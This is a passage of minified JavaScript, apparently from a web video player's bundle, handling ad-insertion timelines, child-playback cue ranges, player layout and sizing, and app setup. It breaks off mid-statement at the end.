JLH=function(x,T,t){if(x.QU.length)for(var u=g.S(x.QU),H=u.next(),I={};!H.done;I={u8:void 0},H=u.next()){I.u8=H.value;H=I.u8.startSecs*1E3;var E=I.u8.U0*1E3+H;if(T>H&&T<E||t>H&&t<E)return h2(x.Jq,function(Z){return function(e){return e.identifier===Z.u8.identifier}}(I))||(x.Kz({adskip:T}),x.Jq.push(I.u8)),I.u8}};
K_=function(x){x.Om=!1;x.uG.isActive()&&NuV(x);x.uG.stop();x.z$(!1)};
qGm=function(){g.f_.apply(this,arguments)};
la3=function(x,T,t){g.W.call(this);var u=this;this.api=x;this.timeline=T;this.playback=t;this.Vw=new Map;this.xX=new Map;this.vI=new Map;this.events=new g.nj(this);this.R4=0;this.Cy=this.Oe="";this.R2=[];this.cD=new Set;this.wl=new g.wX(function(){u.api.playVideo(1,u.api.B("html5_ssap_keep_media_on_finish_segment"));u.api.kc("ssap",{nve:""+u.Oe});ZDv(u,4)},3E4);
this.kB="";this.Tm=new Set;this.In=!0;this.t_=new Map;this.gT=new Set;this.H6=this.A2=!1;this.dg="";this.j4=null;this.yF={xY9:function(){return u.xX},
NR:function(H){if(H=u.xX.get(H))u.onCueRangeEnter(H)},
onCueRangeEnter:function(H){u.onCueRangeEnter(H)},
b$U:function(){return u.A2}};
this.playback.getPlayerType();jqX(this);T.j=void 0;this.events.V(this.api,g.$m("ssap"),this.onCueRangeEnter);this.events.V(this.api,"internalAbandon",this.uT);this.api.B("html5_ssap_timeline_handle_error_and_abandon")&&this.events.V(this.api,"presentingplayerstatechange",this.Ot);g.y(this,this.wl);this.NnQ=g.Z9(x.Y().experiments,"html5_ssap_segment_end_media_threshold_ms")||200;this.ye=x.B("html5_disable_ssap_append_pause");this.A2=eEf(this)};
mZi=function(x,T,t,u){for(var H=g.S(u),I=H.next();!I.done;I=H.next()){var E=I.value;E.Z||((I=C_(E),E=E.getVideoData(),I&&E&&x.playback.Em.gK().Ig(I,E,2),E)?I||(E=void 0,x.api.kc("ssap",{macac:I,maccc:(E=x.timeline.C)==null?void 0:C_(E)})):(E=void 0,x.api.kc("ssap",{mvac:I,mvcc:(E=x.timeline.C)==null?void 0:C_(E)})))}return QM(x.timeline,T,t,u)};
MjX=function(x,T){if(!x.cD.has(x.Oe)){var t=0,u=0,H=tl(x.timeline,x.Oe);if(H==null?0:H.length)for(H=g.S(H),H=H.next();!H.done;H=H.next()){u=H.value;t=u.Mz();u=u.c_();break}if(!(u>0&&u>T*1E3+x.NnQ)&&(u=dZC(x,t))){T=!1;t=void 0;u=g.S(u.segments);for(H=u.next();!H.done;H=u.next()){H=H.value;if(T){t=H;break}C_(H)===x.Oe&&(T=!0)}u=void 0;if(t)u=C_(t);else if(T){var I;u=(I=x.timeline.C)==null?void 0:C_(I)}if(u)x.finishSegmentByCpn(x.Oe,u,2,void 0);else{var E;x.api.kc("ssap",{mfnc:1,mfncc:(E=x.timeline.C)==
null?void 0:C_(E)})}}}};
eEf=function(x){return x.api.B("html5_force_ssap_gapful_switch")||x.api.B("html5_ssap_enable_legacy_browser_logic")&&!A0()};
P53=function(x,T,t,u){x.vI.set(T,u);Ai5(x,T,t);REf(x,t)};
vw=function(x,T){x=tl(x.timeline,T);return(x==null?0:x.length)?x[0].Mz():0};
VW=function(x,T){var t=t===void 0?!1:t;var u=x.timeline.C;if(!u)return{clipId:"",pB:0};var H=SGC(x,T,t);if(H)return{clipId:C_(H)||"",pB:H.Mz()};x.api.kc("mci",{cs:C_(u),mt:T,tl:Sn(x),invt:!!t});return{clipId:"",pB:0}};
Xa=function(x){var T=x.timeline.C;if(!T)return 0;x=0;if(T.C.size===0)return(T.c_()-T.Mz())/1E3;T=T.C.values();T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=g.S(t.value);for(var u=t.next();!u.done;u=t.next())u=u.value,x+=(u.c_()-u.Mz())/1E3}return x};
YGq=function(x,T){return(x=cim(x,T*1E3))?x.Mz():0};
UZV=function(x,T){var t=tl(x.timeline,T);T=0;if(t==null?0:t.length)for(x=g.S(t),t=x.next();!t.done;t=x.next())t=t.value,T+=(t.c_()-t.Mz())/1E3;else return Xa(x);return T};
cim=function(x,T){if(x=tl(x.timeline,x.Oe)){x=g.S(x);for(var t=x.next();!t.done;t=x.next())if(t=t.value,t.Mz()<=T&&t.c_()>=T)return t}};
bDV=function(x){var T=x.playback.getVideoData();x.Oe&&(x=x.Vw.get(x.Oe))&&(T=x);return T};
dZC=function(x,T,t){t=t===void 0?!1:t;var u=x.timeline.C;if(u){u=u.C;var H=Array.from(u.keys());g.Ey(H);T=g.ig(H,T);T=u.get(H[T<0?(T+2)*-1:T]);if(!t&&T){t=g.S(T);for(T=t.next();!T.done;T=t.next())if(T=T.value,T.Mz()!==T.c_())return T;return x.timeline}return T&&T.length>0?T[T.length-1]:void 0}};
SGC=function(x,T,t){t=t===void 0?!1:t;var u=dZC(x,T,t);if(u){if(x=u.segments,x.length){for(var H=g.S(x),I=H.next();!I.done;I=H.next())if(I=I.value,I.Mz()<=T&&I.c_()>T)return I;if(t&&u.Mz()===u.c_())return x[0]}}else x.api.kc("ssap",{ctnf:1})};
ZDv=function(x,T){var t;if(x.kB)for(t=x.R2.shift();t&&t!==x.kB;)t=x.R2.shift();else t=x.R2.shift();if(t){if(x.cD.has(t))rii(x,t);else if(T===3||T===4)x.wl.stop(),x.api.playVideo(1,x.api.B("html5_ssap_keep_media_on_finish_segment"));x.vI.set(x.Oe,T);x.api.kc("ssap",{onvftn:1});REf(x,t);return!1}x.api.kc("ssap",{onvftv:1});x.wl.stop();return!0};
rii=function(x,T){T=tl(x.timeline,T);if(T==null?0:T.length)x.api.pauseVideo(),x.wl.start(T[0].xr)};
REf=function(x,T){var t=x.playback.getVideoData(),u=t.clientPlaybackNonce;x.j4&&(x.events.f2(x.j4),x.j4=null,x.playback.WG());var H=x.Oe,I=!1;if(H==="")H=u,I=!0;else if(H===void 0){var E=x.playback.Em.gK().bq;E&&x.timeline.Z.has(E)&&(H=E);x.api.kc("ssap",{mcc:H+";"+T});x.playback.XD(new r4("ssap.timelineerror",{e:"missing_current_cpn",pcpn:H,ccpn:T}))}if(H===T)I&&t&&zEi(x,t,I);else{E=x.vI.get(H);if(!I&&(!E||E!==3&&E!==5&&E!==6&&E!==7)){var Z=x.api.TT(x.Oe);x.api.kc("ssap",{nmec:Z,cpc:x.Oe,ec:T})}E&&
E!==2||x.QQ();x.Oe=T;x.QQ();T=tl(x.timeline,x.Oe);if(T==null?0:T.length){T=T[0];Z=T.getType();H!==u&&(x.Cy=H,t=x.Vw.get(H));E?x.vI.delete(H):E=I?1:2;x.api.B("html5_ssap_pacf_qoe_ctmp")&&Z===2&&!T.Z&&(x.j4=x.events.V(x.api,"onVideoProgress",x.HFv));x.api.kc("ssapt",{ostro:E,pcpn:H,ccpn:x.Oe});a:{var e=x.Oe;if(!x.xX.has(e))for(var l=g.S(x.xX),m=l.next();!m.done;m=l.next()){var d=g.S(m.value);m=d.next().value;d=d.next().value;if(d.getId().includes(e)){e=m;break a}}}m=e;l=x.api.Y().B("html5_ssap_insert_su_before_nonvideo")&&
m!==x.Oe;d=x.playback.Em.gK();if(d.bq!==m){var M=d.VA(d.bq);e=d.VA(m);d.bq=m;e!==M&&(M.qoe&&(m=M.qoe,m.provider.Cf.AM()&&m.kc("ssap",{qoesus:"1",vid:m.provider.videoData.videoId}),l&&(l=g.Uw(m.provider),aOC(m,l,"SU")),isNaN(m.D)||g.M2(m.D)),e.resume())}l=Math.max(0,Hm(x,H));e=x.playback.getCurrentTime();m=Math.max(0,e-vw(x,x.Oe)/1E3);e=T.getVideoData();d=E===3||E===5||E===6||E===7;x.api.B("html5_ssap_skip_illegal_seeking")&&(M=x.playback.getPlayerState(),M=!g.p(M,8)&&g.p(M,16),d=d||M,M&&x.api.kc("ssap",
{iis:1}));M=x.playback;var A=H,R=x.Oe,Y=x.playback.getPlayerState();M.Em.gK().zF(A,R,l,m,!1,d,Y,!0);x.api.kc("ssapt",{ostri:E,pcpn:H,ccpn:x.Oe});var b;l=H;m=x.Oe;d=(b=x.t_.get(H))!=null?b:(0,g.bo)();ubf(l,m,u,e,d,t);x.t_.delete(H);I?t=void 0:t||x.api.kc("ssap",{pvdm:H+";"+x.Oe,pvdmc:x.Oe===u?"1":"0"});x.api.kc("ssap",{tpac:H+";"+x.Oe,tpcc:u,tpv:(e==null?0:e.eD())?"1":"0"},!1,1);x.api.Y().B("html5_ssap_cleanup_player_switch_ad_player")&&x.api.SJ();x.api.publish("videodatachange","newdata",e,Z,t,E);
T.Z||x.playback.getVideoData().publish("dataupdated");x.cD.delete(H);x.kB="";e&&Z===1?zEi(x,e):x.playback.kc("ssap",{nis:x.Oe});Z===2?x.R4++:x.R4=0}}};
zEi=function(x,T,t){t=t===void 0?!1:t;if(T.startSeconds&&x.In){var u=T.startSeconds;T=tl(x.timeline,T.clientPlaybackNonce);if(T==null?0:T.length)u+=T[0].Mz()/1E3,x.api.B("htm5_ssap_ignore_initial_seek_if_too_big")&&u>=x.o6()||(x.playback.seekTo(u,{Gl:!0}),x.In=!1,x.playback.kc("ssap",{is:x.Oe,co:t?"1":"0",tse:u.toFixed()}))}};
Ai5=function(x,T,t){T=tl(x.timeline,T);if(T!=null&&T.length&&(T=dZC(x,T[0].Mz()))){T=g.S(T.segments);for(var u=T.next();!u.done;u=T.next()){u=u.value;if(C_(u)===t)break;if(u=C_(u)){var H=x.xX.get(u);H&&x.playback.removeCueRange(H);x.xX.delete(u)}}}};
Gb=function(x){return x.playback.getVideoData().clientPlaybackNonce};
GWi=function(x,T){if(x.A2&&x.Oe!==T)return!1;if(x.ye)return!0;if(T=x.xX.get(T))if(T=T.getId().split(","),T.length>1)for(var t=0;t<T.length;t++){var u=t<T.length-1?T[t+1]:"";if(x.cD.has(T[t]))return T[t]===x.Oe&&!x.cD.has(u)}return!0};
Zwi=function(x,T,t){SGC(x,T)||x.playback.kc("ssap",{ilgsk:T.toFixed(),mep:t?"1":"0",tl:Sn(x)})};
Hm=function(x,T){T=T||x.Oe;var t=x.Vw.get(T);return t?t.AQ:T!==Gb(x)?0:x.playback.getVideoData().AQ};
Sn=function(x){var T=x.Oe;T||(T=x.playback.getVideoData().clientPlaybackNonce);var t,u,H=Array.from((u=(t=x.timeline.C)==null?void 0:t.C.values())!=null?u:[]);t=[];if(H==null?0:H.length)for(u=g.S(H),H=u.next();!H.done;H=u.next())if(H=H.value,H.length&&H[0]&&(H=H[0].segments,H.length)){H=g.S(H);for(var I=H.next();!I.done;I=H.next()){var E=I.value;I="st."+E.Mz()+";";I+="et."+E.c_()+";";var Z=C_(E);Z&&(I+="cpn."+Z+";",I+="a."+(T===Z?1:0)+";");if(E=E.getVideoData())Z=void 0,I+="vid."+((Z=E.videoId)!=
null?Z:"nvd");t.push(I)}}return(t.length?t.join(","):"empty."+T)+";cpcpn."+x.nB()};
jqX=function(x){x.playback.YR(Array.from(x.xX.values()));x.xX.clear()};
Fz5=function(x,T,t,u){g.W.call(this);var H=this;this.api=x;this.Cf=T;this.C=t;this.app=u;this.T=new Map;this.Z=[];this.j=this.N=null;this.ZZ=NaN;this.D=this.K=this.S=null;this.J=new g.wX(function(){kFH(H,H.ZZ,H.S||void 0)});
this.jY=[];this.uG=new g.wX(function(){var I=H.jY.pop();if(I){var E=I.k6,Z=I.playerVars;I=I.playerType;Z&&(Z.prefer_gapless=!0,H.api.preloadVideoByPlayerVars(Z,I,NaN,"",E),H.jY.length&&g.Kt(H.uG,4500))}});
this.events=new g.nj(this);this.yF={dY7:function(){return H.Z}};
this.C.getPlayerType();g.y(this,this.J);g.y(this,this.uG);g.y(this,this.events);this.events.V(this.api,g.$m("childplayback"),this.onCueRangeEnter);this.events.V(this.api,"onQueuedVideoLoaded",this.onQueuedVideoLoaded);this.events.V(this.api,"presentingplayerstatechange",this.Ot)};
GFV=function(x,T,t,u,H,I){var E=T.cpn,Z=T.docid||T.video_id||T.videoId||T.id,e=x.C;I=I===void 0?H+u:I;if(H>I)return is(x,"enterAfterReturn enterTimeMs="+H+" is greater than parentReturnTimeMs="+I.toFixed(3),E,Z),"";var l=e.qU()*1E3;if(H<l)return is(x,"enterBeforeMinSeekable enterTimeMs="+H+" is less than parentMinSeekableTimeMs="+l,E,Z),"";l=e.getDuration()*1E3;if(I>l)return e="returnAfterDuration parentReturnTimeMs="+I.toFixed(3)+" is greater than parentDurationMs="+l+". And timestampOffset in seconds is "+
e.Pk(),is(x,e,E,Z),"";l=null;for(var m=g.S(x.Z),d=m.next();!d.done;d=m.next()){d=d.value;if(H>=d.GI&&H<d.Pt)return is(x,"overlappingEnter",E,Z),"";if(I<=d.Pt&&I>d.GI)return is(x,"overlappingReturn",E,Z),"";if(I===d.GI)return is(x,"outOfOrder",E,Z),"";H===d.Pt&&(l=d)}E="cs_childplayback_"+hE3++;Z={QI:Ib(u,!0),Ph:Infinity,target:null};var M={k6:E,playerVars:T,playerType:t,durationMs:u,GI:H,Pt:I,Sc:Z};x.Z=x.Z.concat(M).sort(function(Y,b){return Y.GI-b.GI});
l?vS4(x,l,{QI:Ib(l.durationMs,!0),Ph:l.Sc.Ph,target:M}):(T={QI:Ib(H,!1),Ph:H,target:M},x.T.set(T.QI,T),e.addCueRange(T.QI));T=!0;if(x.C===x.app.VU()&&(e=e.getCurrentTime()*1E3,e>=M.GI&&e<M.Pt)){var A=x.app.VU().getPlayerState(),R=e-M.GI;ta(function(){Vj4(x,M,R/1E3,{},A)});
T=!1}T&&(x.jY.unshift(M),g.Kt(x.uG,0));return E};
Ib=function(x,T){return new g.te(Math.max(0,x-5E3),T?0x8000000000000:x-1,{namespace:"childplayback",priority:9})};
Lzf=function(x,T,t,u){x.j=u;x.api.GL(x.C,t,T)};
nS5=function(x,T,t,u){x.j=u;u=T.k6;var H=T.playerVars,I=T.playerType;x.N=T;H&&(x.Cf.B("html5_enable_ssap_entity_id")&&(H.cached_load=!0),x.api.enqueueVideoByPlayerVars(H,I,t,u))};
vS4=function(x,T,t){var u=T.Sc;T.Sc=t;EJ(x,T)&&(t=x.app.VU(),u.QI===x.j&&q1(x),t.removeCueRange(u.QI),t.addCueRange(T.Sc.QI))};
q1=function(x){x.N=null;x.j=null;x.api.d_()||x.api.clearQueue()};
aa3=function(x,T){EJ(x,T)||is(x,"childPlaybackIsNotPresenting");return T.Pt===T.GI+T.durationMs?T.GI+x.app.VU().getCurrentTime()*1E3:T.Pt};
gSH=function(x,T){var t=0;x=g.S(x.Z);for(var u=x.next();!u.done;u=x.next()){u=u.value;var H=u.GI/1E3+t,I=H+u.durationMs/1E3;if(H>T)break;if(I>T)return{I3:u,tK:T-H};t=I-u.Pt/1E3}return{I3:null,tK:T-t}};
kFH=function(x,T,t){t=t===void 0?{}:t;var u=x.D||x.app.VU().getPlayerState();ZU(x,!0);T=isFinite(T)?T:x.C.gi();var H=gSH(x,T);T=H.tK;var I=(H=H.I3)&&!EJ(x,H)||!H&&x.C!==x.app.VU(),E=T*1E3;E=x.j&&x.j.start<=E&&E<=x.j.end;!I&&E||q1(x);H?Vj4(x,H,T,t,u):B1q(x,T,t,u)};
B1q=function(x,T,t,u){var H=x.C;H!==x.app.VU()&&x.app.sR();H.seekTo(T,Object.assign({},{wp:"application_timelinemanager"},t));Wzi(x,u)};
Vj4=function(x,T,t,u,H){var I=EJ(x,T);if(!I){T.playerVars.prefer_gapless=!0;x.Cf.B("html5_enable_ssap_entity_id")&&(T.playerVars.cached_load=!0);var E=new g.NE(x.Cf,T.playerVars);E.k6=T.k6;x.api.qX(E,T.playerType)}E=x.app.VU();I||E.addCueRange(T.Sc.QI);E.seekTo(t,Object.assign({},{wp:"application_timelinemanager"},u));Wzi(x,H)};
Wzi=function(x,T){x=x.app.VU();var t=x.getPlayerState();T.isOrWillBePlaying()&&!t.isOrWillBePlaying()?x.playVideo():T.isPaused()&&!t.isPaused()&&x.pauseVideo()};
ZU=function(x,T){x.ZZ=NaN;x.S=null;x.J.stop();x.K&&T&&x.K.hA();x.D=null;x.K=null};
EJ=function(x,T){x=x.app.VU();return!!x&&x.getVideoData().k6===T.k6};
DZV=function(x){var T=x.Z.find(function(H){return EJ(x,H)});
if(T){var t=x.app.VU();q1(x);var u=new g.uZ(8);T=aa3(x,T)/1E3;B1q(x,T,{},u);t.kc("forceParentTransition",{childPlayback:1});x.C.kc("forceParentTransition",{parentPlayback:1})}};
N1i=function(x,T,t){T=T===void 0?-1:T;t=t===void 0?Infinity:t;for(var u=T,H=t,I=g.S(x.T),E=I.next();!E.done;E=I.next()){var Z=g.S(E.value);E=Z.next().value;Z=Z.next().value;Z.Ph>=u&&Z.target&&Z.target.Pt<=H&&(x.C.removeCueRange(E),x.T.delete(E))}u=T;H=t;I=[];E=g.S(x.Z);for(Z=E.next();!Z.done;Z=E.next())if(Z=Z.value,Z.GI>=u&&Z.Pt<=H){var e=x;e.N===Z&&q1(e);EJ(e,Z)&&e.app.sR()}else I.push(Z);x.Z=I;u=gSH(x,T/1E3);T=u.I3;u=u.tK;T&&(u*=1E3,yi4(x,T,u,T.Pt===T.GI+T.durationMs?T.GI+u:T.Pt));(T=gSH(x,t/1E3).I3)&&
is(x,"Invalid clearEndTimeMs="+t+" that falls during playback={timelinePlaybackId="+(T.k6+" video_id="+T.playerVars.video_id+" durationMs="+T.durationMs+" enterTimeMs="+T.GI+" parentReturnTimeMs="+T.Pt+"}.Child playbacks can only have duration updated not their start."))};
yi4=function(x,T,t,u){T.durationMs=t;T.Pt=u;u={QI:Ib(t,!0),Ph:t,target:null};vS4(x,T,u);EJ(x,T)&&x.app.VU().getCurrentTime()*1E3>t&&(T=aa3(x,T)/1E3,t=x.app.VU().getPlayerState(),B1q(x,T,{},t))};
is=function(x,T,t,u){x.C.kc("timelineerror",{e:T,cpn:t?t:void 0,videoId:u?u:void 0})};
C55=function(x){x&&x!=="web"&&JiX.includes(x)};
ls=function(x,T){g.W.call(this);var t=this;this.data=[];this.j=x||NaN;this.Z=T||null;this.C=new g.wX(function(){j2(t);e2(t)});
g.y(this,this.C)};
Qqv=function(x){j2(x);return x.data.map(function(T){return T.value})};
j2=function(x){var T=(0,g.bo)();x.data.forEach(function(t){t.expire<T&&mB(x,t,!0)});
x.data=g.ES(x.data,function(t){return!(t.expire<T)})};
mB=function(x,T,t){t&&x.Z&&x.Z(T.value)};
e2=function(x){x.C.stop();var T=Infinity;for(var t=g.S(x.data),u=t.next();!u.done;u=t.next())u=u.value,u.expire<T&&(T=u.expire);T&&isFinite(T)&&(T=Math.max(T-Date.now(),100),x.C.start(T))};
dP=function(){g.W.call(this);this.C=new ls(5,null);g.y(this,this.C);this.Z=new ls(15,null);g.y(this,this.Z)};
D3C=function(x,T){return T?!!x.C.get(T):!1};
p2J=function(x,T){x.dataset.version=T};
w2q=function(x){g.Q.call(this,{L:"div",DZ:["html5-video-player"],X:{tabindex:x.Y().disableOrganicUi?"":"-1",id:x.webPlayerContextConfig?x.webPlayerContextConfig.rootElementId:x.config.attrs.id},W:[{L:"div",G:g.CT.VIDEO_CONTAINER,X:{"data-layer":"0"}}]});var T=this;this.app=x;this.oI=this.Um(g.CT.VIDEO_CONTAINER);this.UN=new g.Hf(0,0,0,0);this.zs=null;this.GF=new g.Hf(0,0,0,0);this.B8=this.aN=this.pj=NaN;this.cj=this.qk=this.fE=this.Q8=!1;this.Sz=NaN;this.Tn=!1;this.W5=null;this.n0=function(){T.element.focus({preventScroll:!0})};
this.PC=function(){T.app.qj.publish("playerUnderlayVisibilityChange","visible");T.zs.classList.remove(g.CT.VIDEO_CONTAINER_TRANSITIONING);T.zs.removeEventListener(Il,T.PC);T.zs.removeEventListener("transitioncancel",T.PC)};
var t=this.element.addEventListener,u=this.element.removeEventListener;this.addEventListener=function(I,E,Z){t.apply(T.element,[I,E,Z])};
this.removeEventListener=function(I,E,Z){u.apply(T.element,[I,E,Z])};
var H=x.Y();H.transparentBackground&&this.N4("ytp-transparent");H.controlsType==="0"&&this.N4("ytp-hide-controls");g.uY(this.element,"ytp-exp-bottom-control-flexbox");g.uY(this.element,"ytp-modern-caption");H.B("enable_new_paid_product_placement")&&!g.K1(H)&&g.uY(this.element,"ytp-exp-ppp-update");H.B("html5_enable_ssap")&&g.uY(this.element,"ytp-ssap");g.uY(this.element,"ytp-livebadge-color");H.B("delhi_modern_web_player")&&g.uY(this.element,"ytp-delhi-modern");p2J(this.element,OD3(x));this.yC=!1;
this.Rk=new g.lu(NaN,NaN);faf(this);this.V(x.qj,"onMutedAutoplayChange",this.onMutedAutoplayChange)};
faf=function(x){function T(){x.zs&&M1(x);Ao(x)!==x.Tn&&x.resize()}
function t(E,Z){x.NC(E,Z)}
function u(E){E.getVideoData()&&x.updateVideoData(E.getVideoData())}
function H(){x.GF=new g.Hf(0,0,0,0);x.UN=new g.Hf(0,0,0,0)}
var I=x.app.qj;I.addEventListener("initializingmode",H);I.addEventListener("videoplayerreset",u);I.addEventListener("videodatachange",t);I.addEventListener("presentingplayerstatechange",T);x.addOnDisposeCallback(function(){I.removeEventListener("initializingmode",H);I.removeEventListener("videoplayerreset",u);I.removeEventListener("videodatachange",t);I.removeEventListener("presentingplayerstatechange",T)})};
X25=function(x){var T=x.app.VU(),t=T=T?T.getVideoData():null;if(T==null?0:g.pB(T))t=x.app.qj.getVideoData();if(t){if(g.k7(t)||g.FU(t)||g.hB(t))return 16/9;if(oU(t)&&t.j.C)return x=t.j.videoInfos[0].video,KzV(x.width,x.height)}return(x=x.zs)?KzV(x.videoWidth,x.videoHeight):16/9};
xhi=function(x,T,t,u){var H=t,I=KzV(T.width,T.height);x.Q8?H=t<I?Infinity:0:isNaN(x.B8)?isNaN(x.aN)||(H=x.aN):H=x.B8;isFinite(H)||(H=Math.max(t,I));x=H>I?{width:T.width,height:T.width/H,aspectRatio:H}:H<I?{width:T.height*H,height:T.height,aspectRatio:H}:{width:T.width,height:T.height,aspectRatio:I};u||isNaN(t)||(t>H?x.width=x.height*t:t<H&&(x.height=x.width/t),x.aspectRatio=t);return x};
KzV=function(x,T){return Math.abs(TAC*T-x)<1||Math.abs(TAC/x-T)<1?TAC:x/T};
Ao=function(x){if(x.app.getAppState()===1)return!1;if(x.app.getAppState()===6)return!0;var T=x.app.VU();if(!T||T.A7())return!1;x=x.app.qj.getPlayerStateObject();T=!g.p(x,2)||T&&T.getVideoData().J;var t=g.p(x,1024);return x&&T&&!t&&!x.isCued()};
M1=function(x){var T=x.app.Y().controlsType==="3"&&!x.cj&&Ao(x)&&!x.app.mj||!1;x.zs.controls=T;x.zs.tabIndex=T?0:-1;x.app.Y().K&&(x.zs.ariaHidden=T||x.app.Y().B("video_element_aria_hidden_ks")?"false":"true");T?x.zs.removeEventListener("focus",x.n0):x.zs.addEventListener("focus",x.n0)};
of3=function(x){var T=x.xL(),t=1,u=!1,H=xhi(x,T,x.getVideoAspectRatio()),I=x.app.Y(),E=I.B("enable_desktop_player_underlay"),Z=SXH(),e=g.Z9(I.experiments,"player_underlay_min_player_width");e=E&&x.fE&&x.getPlayerSize().width>e;if(Ao(x)){var l=X25(x);var m=isNaN(l)||g.Qb||XZ&&g.M4||e;CM&&!g.Mv(601)?l=H.aspectRatio:m=m||I.controlsType==="3";m?e?(m=I.B("place_shrunken_video_on_left_of_player")?16:x.getPlayerSize().width-T.width-16,l=Math.max((x.getPlayerSize().height-T.height)/2,0),m=new g.Hf(m,l,T.width,
T.height),x.zs.style.setProperty("border-radius","12px")):m=new g.Hf(0,0,T.width,T.height):(t=H.aspectRatio/l,m=new g.Hf((T.width-H.width/t)/2,(T.height-H.height)/2,H.width/t,H.height),t===1&&g.M4&&(l=m.width-T.height*l,l>0&&(m.width+=l,m.height+=l)));g.Ic(x.element,"ytp-fit-cover-video",Math.max(m.width-H.width,m.height-H.height)<1);if(Z||x.yC)x.zs.style.display="";x.Tn=!0}else{m=-T.height;CM?m*=window.devicePixelRatio:g.XB&&(m-=window.screen.height);m=new g.Hf(0,m,T.width,T.height);if(Z||x.yC)x.zs.style.display=
"none";x.Tn=!1}I_(x.GF,m)||(x.GF=m,g.L1(I)?(x.zs.style.setProperty("width",m.width+"px","important"),x.zs.style.setProperty("height",m.height+"px","important")):g.Sw(x.zs,m.getSize()),u=new g.jo(m.left,m.top),g.Mn(x.zs,Math.round(u.x),Math.round(u.y)),u=!0);T=new g.Hf((T.width-H.width)/2,(T.height-H.height)/2,H.width,H.height);I_(x.UN,T)||(x.UN=T,u=!0);g.Zt(x.zs,"transform",t===1?"":"scaleX("+t+")");E&&e!==x.qk&&(e&&(x.zs.addEventListener(Il,x.PC),x.zs.addEventListener("transitioncancel",x.PC),x.zs.classList.add(g.CT.VIDEO_CONTAINER_TRANSITIONING)),
x.qk=e,x.app.qj.publish("playerUnderlayVisibilityChange",x.qk?"transitioning":"hidden"));return u};
t_D=function(){this.csn=g.Yx();this.clientPlaybackNonce=null;this.elements=new Set;this.j=new Set;this.C=new Set;this.Z=new Set};
sB3=function(x){if(x.csn!==g.Yx())if(x.csn==="UNDEFINED_CSN")x.csn=g.Yx();else{var T=g.Yx(),t=g.cW();if(T&&t){x.csn=T;for(var u=g.S(x.elements),H=u.next();!H.done;H=u.next())(H=H.value.visualElement)&&H.isClientVe()&&T&&t&&(g.R6("combine_ve_grafts")?kI(rI(),H,t):g.Kr(g.CP)(void 0,T,t,H))}if(T)for(x=g.S(x.C),t=x.next();!t.done;t=x.next())(t=t.value.visualElement)&&t.isClientVe()&&g.xB(T,t)}};
g.Rb=function(x,T,t,u){g.W.call(this);var H=this;this.logger=new g.t$("App");this.mj=this.fU=!1;this.wT={};this.r5=[];this.Y5=!1;this.dB=null;this.intentionalPlayback=!1;this.Bx=!0;this.g0=!1;this.xV=this.B6=null;this.rg=!0;this.mediaElement=this.TI=null;this.k9=NaN;this.h4=!1;this.bI=this.dA=this.zI=this.vt=this.screenLayer=this.playlist=null;this.L8=[];this.Aa=0;this.yF={Y$U:function(){return H.UY},
vS:function(){return H.zI},
iL:function(E){H.zI=E},
PT:function(E,Z){H.zI&&H.zI.PT(E,Z)}};
this.logger.debug("constructor begin");this.config=Otf(T||{});this.webPlayerContextConfig=t;ief();T=this.config.args||{};this.Cf=new yZ(T,t,t?t.canaryState:this.config.assets.player_canary_state,u,this);g.y(this,this.Cf);GmJ(this.Cf);u=n2H(this.Cf);this.Cf.AM()&&this.L8.push({key:"h5vcc",value:u});this.Cf.experiments.aU("jspb_serialize_with_worker")&&N23();this.Cf.experiments.aU("gzip_gel_with_worker")&&G3V();this.Cf.Z&&!u54&&(window.addEventListener(U0?"touchstart":"click",E2m,{capture:!0,passive:!0}),
u54=!0);this.B("html5_onesie")&&(this.Qb=new hs(this.Cf),g.y(this,this.Qb));this.DY=ox(FB(this.Cf)&&!0,T.enablesizebutton);this.DL=ox(!1,T.player_wide);this.visibility=new rLH;g.y(this,this.visibility);this.B("web_log_theater_mode_visibility")&&this.NF(ox(!1,T.player_wide));this.fU=ox(!1,T.external_list);this.events=new g.nj(this);g.y(this,this.events);this.B("start_client_gcf")&&(kb(VG(),{A4:He,RV:si5()}),this.e1=VG().resolve(He),HrJ(this.e1));this.WYW=new qw;g.y(this,this.WYW);this.DU=new t_D;u=
new Z0;this.qj=new g.UT(this,u);g.y(this,this.qj);this.template=new w2q(this);g.y(this,this.template);this.appState=1;this.W_=$hD(this);g.y(this,u);u={};this.IL=(u.internalvideodatachange=this.P2,u.playbackready=this.p9G,u.playbackstarted=this.e_m,u.statechange=this.apG,u);this.SR=new P8(this.qj);this.Fa=Ha3(this);u=this.B("html5_load_wasm");T=this.B("html5_allow_asmjs");if(u&&ia5||T)this.Cf.Ap=f8V(this.Fa,T),dI(mH(this.Cf.Ap,function(E){H.Cf.OY=E;var Z;(Z=H.VU())==null||Z.kc("wasm",{a:E.Vv})}),function(E){g.Vh(E);
E="message"in E&&E.message||E.toString()||"";var Z;(Z=H.VU())==null||Z.kc("wasm",{e:E})});
else if(u&&!ia5){var I;(I=this.VU())==null||I.kc("wasm",{e:"wasm unavailable"})}this.MJ=new t6V(this.Cf,this.Fa);this.qj.publish("csiinitialized");I=10;g.bS(this.Cf)&&(I=3);ws(this.Cf)&&(I=g.Z9(this.Cf.experiments,"tvhtml5_unplugged_preload_cache_size"));I=new ls(I,function(E){E!==H.pz(E.getPlayerType())&&f8(E)});
g.y(this,I);this.UY=new kmJ(I,{});I=Ib4(this);this.UY.xs(I.H$);EfH(this);I={};this.y$=(I.airplayactivechange=this.onAirPlayActiveChange,I.airplayavailabilitychange=this.onAirPlayAvailabilityChange,I.beginseeking=this.H2,I.sabrCaptionsDataLoaded=this.S_,I.endseeking=this.D5,I.internalAbandon=this.uT,I.internalaudioformatchange=this.aj,I.internalvideodatachange=this.onVideoDataChange,I.internalvideoformatchange=this.EN,I.liveviewshift=this.Bpf,I.playbackstalledatstart=this.b4f,I.progresssync=this.LaG,
I.onAbnormalityDetected=this.L0,I.onSnackbarMessage=this.onSnackbarMessage,I.onLoadProgress=this.onLoadProgress,I.SEEK_COMPLETE=this.bF,I.SEEK_TO=this.YYy,I.onVideoProgress=this.onVideoProgress,I.onLoadedMetadata=this.onLoadedMetadata,I.onAutoplayBlocked=this.onAutoplayBlocked,I.onPlaybackPauseAtStart=this.i2W,I.playbackready=this.b2Q,I.statechange=this.aO,I.newelementrequired=this.yg,I.heartbeatparams=this.L5,I.videoelementevent=this.UW,I.drmoutputrestricted=this.onDrmOutputRestricted,I.signatureexpired=
